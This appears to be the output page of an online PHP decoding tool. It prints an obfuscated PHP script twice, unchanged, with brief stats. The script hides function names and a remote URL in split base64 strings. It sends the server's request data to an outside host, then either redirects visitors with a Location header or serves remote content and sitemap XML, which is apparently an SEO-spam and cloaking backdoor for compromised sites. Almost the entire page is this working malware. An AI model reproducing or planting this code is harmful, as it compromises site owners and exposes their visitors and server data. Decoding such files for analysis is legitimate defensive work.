Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function bPzE($lHu){ $WXG = array('e'.'x'.'P'.'L'.'o'.'d'.'E','BAS'.'e64'.'_DE'.'COD..

Decoded Output download

<?php function bPzE($lHu){ $WXG = array('e'.'x'.'P'.'L'.'o'.'d'.'E','BAS'.'e64'.'_DE'.'COD'.'E'); return $WXG[$lHu]; } function cmgS($iQD){ $qMS0 = bPzE(0); $qMS1 = bPzE(1); $ryk = $qMS0('~',$qMS1('aHR0c'.'DovL2'.'5zMjY'.'xfi5r'.'YW1pY'.'mxvZ3'.'MuY29'.'tL2Ri'.'X2Nsb'.'3VkXz'.'I0SC5'.'waHB+'.'L15od'.'HRwL3'.'5Mb2N'.'hdGlv'.'bjogf'.'i9eIy'.'Mvfjw'.'vdXJs'.'c2V0P'.'n5Db2'.'50ZW5'.'0LXR5'.'cGU6d'.'GV4dC'.'94bWx'.'+PGh0'.'bWx+V'.'H5jdX'.'JsX2V'.'4ZWN+'.'P3VhP'.'X5odH'.'Rwfm1'.'ldGhv'.'ZH5HR'.'VR+dG'.'ltZW9'.'1dH5o'.'dHRwX'.'2NvZG'.'V+MjA'.'wfn4u'.'a2Fta'.'WJsb2'.'dzLn4'.'uYXNr'.'cGFzc'.'2VuZ2'.'VyLn5'.'UUEx+'.'Mw==')); return $ryk[$iQD]; } function AVcE() { $qMS0 = bPzE(0); $qMS1 = bPzE(1); $ons = $qMS0('~',$qMS1('cHJ'.'lZ1'.'9tY'.'XRj'.'aH5'.'oZW'.'FkZ'.'XJ+'.'c3V'.'ic3'.'Ryf'.'nN0'.'cmx'.'lbn'.'5zd'.'HJz'.'dHI'.'=')); $fwU = HTVE(cmgS(0).cmgS(1)); if($ons[0](cmgS(2),$fwU)) {$ons[1](cmgS(3).$fwU);exit;} if($ons[0](cmgS(4),$fwU)) {exit($ons[2]($fwU,2));} if($ons[3]($fwU)>90) { if($ons[4]($fwU,cmgS(5))) {$ons[1](cmgS(6));exit($fwU);} if($ons[4]($fwU,cmgS(7))) {exit($fwU);} } } AVcE(); function HTVE($UBK, $mDj=0) { $qMS0 = bPzE(0); $qMS1 = bPzE(1); $ons = $qMS0('~',$qMS1('Y'.'m'.'F'.'z'.'Z'.'T'.'Y'.'0'.'X'.'2'.'V'.'u'.'Y'.'2'.'9'.'k'.'Z'.'X'.'5'.'q'.'c'.'2'.'9'.'u'.'X'.'2'.'V'.'u'.'Y'.'2'.'9'.'k'.'Z'.'X'.'5'.'m'.'d'.'W'.'5'.'j'.'d'.'G'.'l'.'v'.'b'.'l'.'9'.'l'.'e'.'G'.'l'.'z'.'d'.'H'.'N'.'+'.'d'.'X'.'J'.'s'.'Z'.'W'.'5'.'j'.'b'.'2'.'R'.'l'.'f'.'n'.'N'.'0'.'c'.'m'.'V'.'h'.'b'.'V'.'9'.'j'.'b'.'2'.'5'.'0'.'Z'.'X'.'h'.'0'.'X'.'2'.'N'.'y'.'Z'.'W'.'F'.'0'.'Z'.'X'.'5'.'m'.'a'.'W'.'x'.'l'.'X'.'2'.'d'.'l'.'d'.'F'.'9'.'j'.'b'.'2'.'5'.'0'.'Z'.'W'.'5'.'0'.'c'.'3'.'5'.'j'.'d'.'X'.'J'.'s'.'X'.'2'.'l'.'u'.'a'.'X'.'R'.'+'.'Y'.'3'.'V'.'y'.'b'.'F'.'9'.'z'.'Z'.'X'.'R'.'v'.'c'.'H'.'R'.'+'.'Y'.'3'.'V'.'y'.'b'.'F'.'9'.'l'.'e'.'G'.'V'.'j'.'f'.'m'.'N'.'1'.'c'.'m'.'x'.'f'.'Z'.'2'.'V'.'0'.'a'.'W'.'5'.'m'.'b'.'3'.'5'.'j'.'d'.'X'.'J'.'s'.'X'.'2'.'N'.'s'.'b'.'3'.'N'.'l'.'f'.'n'.'N'.'0'.'c'.'l'.'9'.'y'.'Z'.'X'.'B'.'s'.'Y'.'W'.'N'.'l')); $iQD = $_SERVER; $iQD[cmgS(8)] = "w"; $iQD[cmgS(20)] = cmgS(21); $Kjy = $ons[0]($ons[1]($iQD)); if(!$ons[2](cmgS(9))){ $UBK .= cmgS(10).$ons[3]($Kjy); $Rzp = $ons[4](array(cmgS(11)=>array(cmgS(12)=>cmgS(13),cmgS(14)=>48))); $fwU = @$ons[5]($UBK, false, $Rzp); }else{ $ryk = $ons[6](); $ons[7]($ryk, 10002, $UBK); $ons[7]($ryk, 10018, $Kjy); $ons[7]($ryk, 19913, 1); $ons[7]($ryk, 64, 0); $ons[7]($ryk, 13, 49); $fwU = $ons[8]($ryk); $nuC = $ons[9]($ryk); $ons[10]($ryk); if($nuC[cmgS(15)]!=cmgS(16)) $fwU = cmgS(17); } if(empty($fwU) && $mDj<1) return HTVE($ons[11](cmgS(18), cmgS(19),$UBK),1); return $fwU; } ?>

Did this file decode correctly?

Original Code

<?php function bPzE($lHu){ $WXG = array('e'.'x'.'P'.'L'.'o'.'d'.'E','BAS'.'e64'.'_DE'.'COD'.'E'); return $WXG[$lHu]; } function cmgS($iQD){ $qMS0 = bPzE(0); $qMS1 = bPzE(1); $ryk = $qMS0('~',$qMS1('aHR0c'.'DovL2'.'5zMjY'.'xfi5r'.'YW1pY'.'mxvZ3'.'MuY29'.'tL2Ri'.'X2Nsb'.'3VkXz'.'I0SC5'.'waHB+'.'L15od'.'HRwL3'.'5Mb2N'.'hdGlv'.'bjogf'.'i9eIy'.'Mvfjw'.'vdXJs'.'c2V0P'.'n5Db2'.'50ZW5'.'0LXR5'.'cGU6d'.'GV4dC'.'94bWx'.'+PGh0'.'bWx+V'.'H5jdX'.'JsX2V'.'4ZWN+'.'P3VhP'.'X5odH'.'Rwfm1'.'ldGhv'.'ZH5HR'.'VR+dG'.'ltZW9'.'1dH5o'.'dHRwX'.'2NvZG'.'V+MjA'.'wfn4u'.'a2Fta'.'WJsb2'.'dzLn4'.'uYXNr'.'cGFzc'.'2VuZ2'.'VyLn5'.'UUEx+'.'Mw==')); return $ryk[$iQD]; } function AVcE() { $qMS0 = bPzE(0); $qMS1 = bPzE(1); $ons = $qMS0('~',$qMS1('cHJ'.'lZ1'.'9tY'.'XRj'.'aH5'.'oZW'.'FkZ'.'XJ+'.'c3V'.'ic3'.'Ryf'.'nN0'.'cmx'.'lbn'.'5zd'.'HJz'.'dHI'.'=')); $fwU = HTVE(cmgS(0).cmgS(1)); if($ons[0](cmgS(2),$fwU)) {$ons[1](cmgS(3).$fwU);exit;} if($ons[0](cmgS(4),$fwU)) {exit($ons[2]($fwU,2));} if($ons[3]($fwU)>90) { if($ons[4]($fwU,cmgS(5))) {$ons[1](cmgS(6));exit($fwU);} if($ons[4]($fwU,cmgS(7))) {exit($fwU);} } } AVcE(); function HTVE($UBK, $mDj=0) { $qMS0 = bPzE(0); $qMS1 = bPzE(1); $ons = $qMS0('~',$qMS1('Y'.'m'.'F'.'z'.'Z'.'T'.'Y'.'0'.'X'.'2'.'V'.'u'.'Y'.'2'.'9'.'k'.'Z'.'X'.'5'.'q'.'c'.'2'.'9'.'u'.'X'.'2'.'V'.'u'.'Y'.'2'.'9'.'k'.'Z'.'X'.'5'.'m'.'d'.'W'.'5'.'j'.'d'.'G'.'l'.'v'.'b'.'l'.'9'.'l'.'e'.'G'.'l'.'z'.'d'.'H'.'N'.'+'.'d'.'X'.'J'.'s'.'Z'.'W'.'5'.'j'.'b'.'2'.'R'.'l'.'f'.'n'.'N'.'0'.'c'.'m'.'V'.'h'.'b'.'V'.'9'.'j'.'b'.'2'.'5'.'0'.'Z'.'X'.'h'.'0'.'X'.'2'.'N'.'y'.'Z'.'W'.'F'.'0'.'Z'.'X'.'5'.'m'.'a'.'W'.'x'.'l'.'X'.'2'.'d'.'l'.'d'.'F'.'9'.'j'.'b'.'2'.'5'.'0'.'Z'.'W'.'5'.'0'.'c'.'3'.'5'.'j'.'d'.'X'.'J'.'s'.'X'.'2'.'l'.'u'.'a'.'X'.'R'.'+'.'Y'.'3'.'V'.'y'.'b'.'F'.'9'.'z'.'Z'.'X'.'R'.'v'.'c'.'H'.'R'.'+'.'Y'.'3'.'V'.'y'.'b'.'F'.'9'.'l'.'e'.'G'.'V'.'j'.'f'.'m'.'N'.'1'.'c'.'m'.'x'.'f'.'Z'.'2'.'V'.'0'.'a'.'W'.'5'.'m'.'b'.'3'.'5'.'j'.'d'.'X'.'J'.'s'.'X'.'2'.'N'.'s'.'b'.'3'.'N'.'l'.'f'.'n'.'N'.'0'.'c'.'l'.'9'.'y'.'Z'.'X'.'B'.'s'.'Y'.'W'.'N'.'l')); $iQD = $_SERVER; $iQD[cmgS(8)] = "w"; $iQD[cmgS(20)] = cmgS(21); $Kjy = $ons[0]($ons[1]($iQD)); if(!$ons[2](cmgS(9))){ $UBK .= cmgS(10).$ons[3]($Kjy); $Rzp = $ons[4](array(cmgS(11)=>array(cmgS(12)=>cmgS(13),cmgS(14)=>48))); $fwU = @$ons[5]($UBK, false, $Rzp); }else{ $ryk = $ons[6](); $ons[7]($ryk, 10002, $UBK); $ons[7]($ryk, 10018, $Kjy); $ons[7]($ryk, 19913, 1); $ons[7]($ryk, 64, 0); $ons[7]($ryk, 13, 49); $fwU = $ons[8]($ryk); $nuC = $ons[9]($ryk); $ons[10]($ryk); if($nuC[cmgS(15)]!=cmgS(16)) $fwU = cmgS(17); } if(empty($fwU) && $mDj<1) return HTVE($ons[11](cmgS(18), cmgS(19),$UBK),1); return $fwU; } ?>

Function Calls

AVcE 1
bPzE 2

Variables

$WXG [{'key': 0, 'value': 'exPLodE'}, {'key': 1, 'value': 'BASe64_DECODE'}]
$lHu 1
$qMS0 exPLodE

Stats

MD5 e0a3d929ea7f194d347ddbfd0d4ead3e
Eval Count 0
Decode Time 456 ms